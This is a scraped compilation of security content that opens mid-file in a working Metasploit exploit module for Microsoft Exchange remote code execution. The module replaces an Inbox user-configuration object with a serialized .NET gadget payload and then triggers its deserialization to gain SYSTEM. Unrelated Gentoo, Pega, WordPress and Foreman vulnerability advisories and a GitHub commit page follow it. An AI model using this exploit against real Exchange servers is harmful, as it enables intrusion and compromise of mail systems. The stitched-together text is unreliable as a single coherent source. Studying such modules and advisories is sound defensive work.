xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">      <soap:Header>      <t:RequestServerVersion Version="Exchange2013" />      </soap:Header>      <soap:Body>      <m:GetFolder>        <m:FolderShape>        <t:BaseShape>AllProperties</t:BaseShape>        </m:FolderShape>        <m:FolderIds>        <t:DistinguishedFolderId Id="inbox" />        </m:FolderIds>      </m:GetFolder>      </soap:Body>    </soap:Envelope>)    res = send_request_cgi(      {        'method' => 'POST',        'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'),        'data' => xml_getfolder_inbox,        'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about.      }    )    fail_with(Failure::Unreachable, 'Connection failed') if res.nil?    unless res&.body      fail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!')    end    if res.code == 401      fail_with(Failure::NoAccess, "Server responded with 401 Unauthorized for user: #{datastore['DOMAIN']}\\#{username}")    end    xml_getfolder = res.get_xml_document    xml_getfolder.remove_namespaces!    xml_tag = xml_getfolder.xpath('//FolderId')    if xml_tag.empty?      print_error('Are you sure the current user has logged in previously to set up their mailbox? It seems they may have not had a mailbox set up yet!')      fail_with(Failure::UnexpectedReply, 'Response obtained but no FolderId element was found within it!')    end    unless xml_tag.attribute('Id') && xml_tag.attribute('ChangeKey')      fail_with(Failure::UnexpectedReply, 'Response obtained without expected Id and ChangeKey elements!')    end    change_key_val = xml_tag.attribute('ChangeKey').value    folder_id_val = xml_tag.attribute('Id').value    print_good("ChangeKey value for Inbox folder is #{change_key_val}")    print_good("ID value for Inbox folder is #{folder_id_val}")    # Delete the user configuration object that currently on the Inbox folder.    print_status('Deleting the user configuration object associated with Inbox folder...')    xml_delete_inbox_user_config = %(<?xml version="1.0" encoding="utf-8"?>    <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">      <soap:Header>        <t:RequestServerVersion Version="Exchange2013" />      </soap:Header>      <soap:Body>        <m:DeleteUserConfiguration>          <m:UserConfigurationName Name="ExtensionMasterTable">            <t:FolderId Id="#{folder_id_val}" ChangeKey="#{change_key_val}" />          </m:UserConfigurationName>        </m:DeleteUserConfiguration>      </soap:Body>    </soap:Envelope>)    res = send_request_cgi(      {        'method' => 'POST',        'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'),        'data' => xml_delete_inbox_user_config,        'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about.      }    )    fail_with(Failure::Unreachable, 'Connection failed') if res.nil?    unless res&.body      fail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!')    end    if res.body =~ %r{<m:DeleteUserConfigurationResponseMessage ResponseClass="Success"><m:ResponseCode>NoError</m:ResponseCode></m:DeleteUserConfigurationResponseMessage>}      print_good('Successfully deleted the user configuration object associated with the Inbox folder!')    else      print_warning('Was not able to successfully delete the existing user configuration on the Inbox folder!')      print_warning('Sometimes this may occur when there is not an existing config applied to the Inbox folder (default 2016 installs have this issue)!')    end    # Now to replace the deleted user configuration object with our own user configuration object.    print_status('Creating the malicious user configuration object on the Inbox folder!')    xml_malicious_user_config = %(<?xml version="1.0" encoding="utf-8"?>    <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">      <soap:Header>        <t:RequestServerVersion Version="Exchange2013" />      </soap:Header>      <soap:Body>        <m:CreateUserConfiguration>          <m:UserConfiguration>            <t:UserConfigurationName Name="ExtensionMasterTable">              <t:FolderId Id="#{folder_id_val}" ChangeKey="#{change_key_val}" />            </t:UserConfigurationName>            <t:Dictionary>              <t:DictionaryEntry>                <t:DictionaryKey>                  <t:Type>String</t:Type>                  <t:Value>OrgChkTm</t:Value>                </t:DictionaryKey>                <t:DictionaryValue>                  <t:Type>Integer64</t:Type>                  <t:Value>#{rand(1000000000000000000..9111999999999999999)}</t:Value>                </t:DictionaryValue>              </t:DictionaryEntry>              <t:DictionaryEntry>                <t:DictionaryKey>                  <t:Type>String</t:Type>                  <t:Value>OrgDO</t:Value>                </t:DictionaryKey>                <t:DictionaryValue>                  <t:Type>Boolean</t:Type>                  <t:Value>false</t:Value>                </t:DictionaryValue>              </t:DictionaryEntry>            </t:Dictionary>            <t:BinaryData>#{Rex::Text.encode_base64(Msf::Util::DotNetDeserialization.generate(cmd, gadget_chain: @gadget_chain, formatter: :BinaryFormatter))}</t:BinaryData>          </m:UserConfiguration>        </m:CreateUserConfiguration>      </soap:Body>    </soap:Envelope>)    res = send_request_cgi(      {        'method' => 'POST',        'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'),        'data' => xml_malicious_user_config,        'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about.      }    )    fail_with(Failure::Unreachable, 'Connection failed') if res.nil?    unless res&.body      fail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!')    end    unless res.body =~ %r{<m:CreateUserConfigurationResponseMessage ResponseClass="Success"><m:ResponseCode>NoError</m:ResponseCode></m:CreateUserConfigurationResponseMessage>}      fail_with(Failure::UnexpectedReply, 'Was not able to successfully create the malicious user configuration on the Inbox folder!')    end    print_good('Successfully created the malicious user configuration object and associated with the Inbox folder!')    # Deserialize our object. If all goes well, you should now have SYSTEM :)    print_status('Attempting to deserialize the user configuration object using a GetClientAccessToken request...')    xml_get_client_access_token = %(<?xml version="1.0" encoding="utf-8"?>    <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">      <soap:Header>        <t:RequestServerVersion Version="Exchange2013" />      </soap:Header>      <soap:Body>        <m:GetClientAccessToken>          <m:TokenRequests>            <t:TokenRequest>              <t:Id>#{Rex::Text.rand_text_alphanumeric(4..50)}</t:Id>              <t:TokenType>CallerIdentity</t:TokenType>            </t:TokenRequest>          </m:TokenRequests>        </m:GetClientAccessToken>      </soap:Body>    </soap:Envelope>)    begin      send_request_cgi(        {          'method' => 'POST',          'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'),          'data' => xml_get_client_access_token,          'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about.        }      )    rescue Errno::ECONNRESET      # when using the DataSetTypeSpoof gadget, it's expected that this connection reset exception will be raised    end  endend

Microsoft Exchange Server ChainedSerializationBinder Remote Code Execution

Gentoo Linux Security Advisory 202208-34 - Multiple vulnerabilities have been discovered in Apache Tomcat, the worst of which could result in denial of service. Versions less than 8.5.82:8.5 are affected.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
Gentoo Linux Security Advisory                           GLSA 202208-34  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
                                           https://security.gentoo.org/  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

 Severity: Low  
    Title: Apache Tomcat: Multiple Vulnerabilities  
     Date: August 21, 2022  
     Bugs: #773571, #801916, #818160, #855971  
       ID: 202208-34

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis  
=======  
Multiple vulnerabilities have been discovered in Apache Tomcat, the  
worst of which could result in denial of service.

Background  
=========  
Apache Tomcat is a Servlet-3.0/JSP-2.2 Container.

Affected packages  
================  
    -------------------------------------------------------------------  
     Package              /     Vulnerable     /            Unaffected  
    -------------------------------------------------------------------  
  1  www-servers/tomcat         < 8.5.82:8.5              >= 8.5.82:8.5  
                                < 9.0.65:9                >= 9.0.65:9  
                                < 10.0.23:10              >= 10.0.23:10

Description  
==========  
Multiple vulnerabilities have been discovered in Apache Tomcat. Please  
review the CVE identifiers referenced below for details.

Impact  
=====  
Please review the referenced CVE identifiers for details.

Workaround  
=========  
There is no known workaround at this time.

Resolution  
=========  
All Apache Tomcat 10.x users should upgrade to the latest version:

  # emerge --sync  
  # emerge --ask --oneshot --verbose ">=www-servers/tomcat-10.0.23:10"

All Apache Tomcat 9.x users should upgrade to the latest version:

  # emerge --sync  
  # emerge --ask --oneshot --verbose ">=www-servers/tomcat-9.0.65:9"

All Apache Tomcat 8.5.x users should upgrade to the latest version:

  # emerge --sync  
  # emerge --ask --oneshot --verbose ">=www-servers/tomcat-8.5.82:8.5"

References  
=========  
[ 1 ] CVE-2021-25122  
      https://nvd.nist.gov/vuln/detail/CVE-2021-25122  
[ 2 ] CVE-2021-25329  
      https://nvd.nist.gov/vuln/detail/CVE-2021-25329  
[ 3 ] CVE-2021-30639  
      https://nvd.nist.gov/vuln/detail/CVE-2021-30639  
[ 4 ] CVE-2021-30640  
      https://nvd.nist.gov/vuln/detail/CVE-2021-30640  
[ 5 ] CVE-2021-33037  
      https://nvd.nist.gov/vuln/detail/CVE-2021-33037  
[ 6 ] CVE-2021-42340  
      https://nvd.nist.gov/vuln/detail/CVE-2021-42340  
[ 7 ] CVE-2022-34305  
      https://nvd.nist.gov/vuln/detail/CVE-2022-34305

Availability  
===========  
This GLSA and any updates to it are available for viewing at  
the Gentoo Security Website:

 https://security.gentoo.org/glsa/202208-34

Concerns?  
========  
Security is a primary focus of Gentoo Linux and ensuring the  
confidentiality and security of our users' machines is of utmost  
importance to us. Any security concerns should be addressed to  
security@gentoo.org or alternatively, you may file a bug at  
https://bugs.gentoo.org.

License  
======  
Copyright 2022 Gentoo Foundation, Inc; referenced text  
belongs to its owner(s).

The contents of this document are licensed under the  
Creative Commons - Attribution / Share Alike license.

https://creativecommons.org/licenses/by-sa/2.5

Gentoo Linux Security Advisory 202208-34

A flaw was found in Foreman project. A credential leak was identified which will expose Azure Compute Profile password through JSON of the API output. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability.

'1969258?cve=title' is not a valid bug number nor an alias to a bug.

Please press **Back** and try again.

CVE-2021-3590: Invalid Bug ID

Authenticated (admin+) Stored Cross-Site Scripting (XSS) vulnerability in WebbaPlugins Webba Booking plugin <= 4.2.21 at WordPress.

CVE-2021-36847: Webba Booking: Appointment & Event Booking Calendar Plugin

Pega Platform from 7.3 to 8.7.3 is affected by an XSS issue due to a misconfiguration of a datapage setting.

Pega continually works to implement security controls designed to protect client environments.  With this focus, Pega has issued hotfixes for 3 **medium** security vulnerabilities in Pega Platform:

**Issue**

**Description**

**Impact**

D22

Cross Site Script (XSS) vulnerability

Cross-site scripting (XSS) is an attack in which an attacker injects malicious executable scripts into the code of a trusted application or website. Attackers often initiate an XSS attack by sending a malicious link to a user and enticing the user to click it.  

Clients with internet-facing applications should update or apply the hotfix. 

Clients running their own infrastructure should consult their security teams.

E22

Reflected Cross Site Script (XSS) vulnerability

F22

Reflected Cross Site Request Forgery (CSRF) vulnerability

This vulnerability may only be exploited by authenticated users with security administrator privileges.  

Clients should periodically review who they have granted elevated privileges to.

We are not aware of any of our clients being compromised as a result of these vulnerabilities.

If you are a **Pega Cloud client**, your Pega Cloud® environments running the relevant Pega versions listed in the table below, are being proactively remediated by Pega. CM cases are being created for each of your environments which provides the schedule of when the hotfixes will be applied.

If you are a United States **Pega Cloud for Government (PCFG) client**, SR cases are being created which will provide the relevant hotfixes for you to apply to your PCFG environments. A system restart, by the Pega Cloud team, will then be required for the hotfixes to take effect.

If you are an **on–premises client**, please review the tables below to determine which hotfixes correspond to your Pegasystems installation. Once you have determined the appropriate hotfix IDs, please submit **hotfix requests** using **My Support Portal**.  As always, **be sure you have appropriate backups in place _before_ applying the hotfixes.** Note that a system restart will be required for the hotfixes to take effect. 

Information regarding the availability of the hotfixes will be publicly posted on Pega Support Center on **Monday, Aug 22, 2022**. In order to give all Pega clients time to patch their on-premises systems, we request that clients **not discuss this in public forums until _after_ Aug 22.** 

As always, we recommend our clients review our Security Checklist regularly. 

**CVE Details**

**CVE Details**

**D22**

**E22**

**F22**

Software/Product

Pega Platform

Pega Platform

Pega Platform

Affected Version(s)

From 8.5.4 to  8.7.3

From 7.3 to 8.7.3

From 8.3 to  8.7.3

CVE ID

CVE-2022-35654

CVE-2022-35655

CVE-2022-35656

CVSS Rating

6.1

6.1

6.8

Description

Cross Site Script (XSS) vulnerability

Reflected Cross Site Script (XSS) vulnerability

Reflected Cross Site Request Forgery (CSRF) vulnerability

**Hotfixes**

Version

D22

E22

F22

8.5.6

HFIX-83957

Follow guidance\*

Update to 8.6.5 or higher

8.6.5

HFIX-83956

Follow guidance\*

HFIX-83958

8.7.3

HFIX-84023

Follow guidance\*

HFIX-84022

8.8

Fixed in release

Follow guidance\*

Fixed in release

These issue will be included as part of the product in the 8.6.6, 8.7.4, and 8.8 patch and minor releases.

**\*E22 Guidance:** 

As a best practice, you should update your Pega environment to the latest release to take advantage of the latest features, capabilities, and security and bug fixes. See Keeping current with Pega.

**Local Change** **Solution:**

**All versions from 7.3 and higher need to review their allow-listed** **Data Pages and adjust based on the two scenarios below:**

The activity pzGetDataPageJSON internally checks the allow-listed Data Pages that are specified in the HTML rule pyPublicDataPageWhiteList. 

**_How to use_** **_the HTML rule pyPublicDataPageWhiteList_** 

Use of the HTML rule pyPublicDataPageWhiteList depends on two conditional scenarios. 

**Scenario 1****: If the application does not use pega.api.ui.actions.getDataPage() for any business use case** 

As the application developer, you can make the HTML rule pyPublicDataPageWhiteList empty. With this change, any calls to  pega.api.ui.actions.getDataPage() or direct processing of the activity pzGetDataPageJSON will return an empty response. 

**Scenario** **2: If the application uses either the activity pzGetDataPageJSON  or the JavaScript API pega.api.ui.actions.getDataPage() for any business use case**   

Use non-parameterized Data Pages for these use cases and add only those data page names (each data page entry in newline) in the HTML rule pyPublicDataPageWhiteList. With this change, you are restricting only a few Data Pages that can be returned when using the Public JavaScript API. To specify the Data Page(s), use the following format: (each Data Page will be on a new line)

DataPage1  
DataPage2  
DataPage3

The HTML rule pyPublicDataPageWhiteList was introduced in the following Pega Platform versions: 

*   Pega Platform version 7.3.1 (HFIX-54435)
    
*   Pega Platform version 7.4 (HFIX-54126)
    
*   If you are using Pega Platform version 8.1.x, the rule exists in Pega Platform version 8.1.6 and later patch releases. 
    
*   If you are using Pega Platform version 8.2.x, the rule exists in Pega Platform version 8.2.3 and later patch releases.
    
*   Pega Platform version 8.2.1 (HFIX-63456) 
    
*   If you are using Pega Platform version 8.3.x, the rule exists in Pega Platform version 8.3.1 and later patch releases. 
    
*   If you are using Pega Platform 8.4.x and all later major releases and patch releases, the rule exists in these releases and in future releases. 
    

If you do not see your version listed, you should follow the best practice of updating to the latest release to be able to apply the local change.

CVE-2022-35655: Collaboration Center

Cross-site Scripting (XSS) - Reflected in GitHub repository bustle/mobiledoc-kit prior to 0.14.2.

Permalink

Browse files

Update dependencies 8/18/22 (#771)

\* Update devDependencies

\* Update mobiledoc-dom-renderer

\* pin

*   Loading branch information

gpoitch committed

Aug 18, 2022

1 parent c2df73e commit f3fdaa5352904fd2a0b4247ccb0dbf68aad43b5a

Showing **4 changed files** with **1,527 additions** and **1,091 deletions**.

*   package-lock.json
*   package.json
*   rollup.config.js
*   yarn.lock

**0 comments on commit f3fdaa5**

Please sign in to comment.

Tag

#js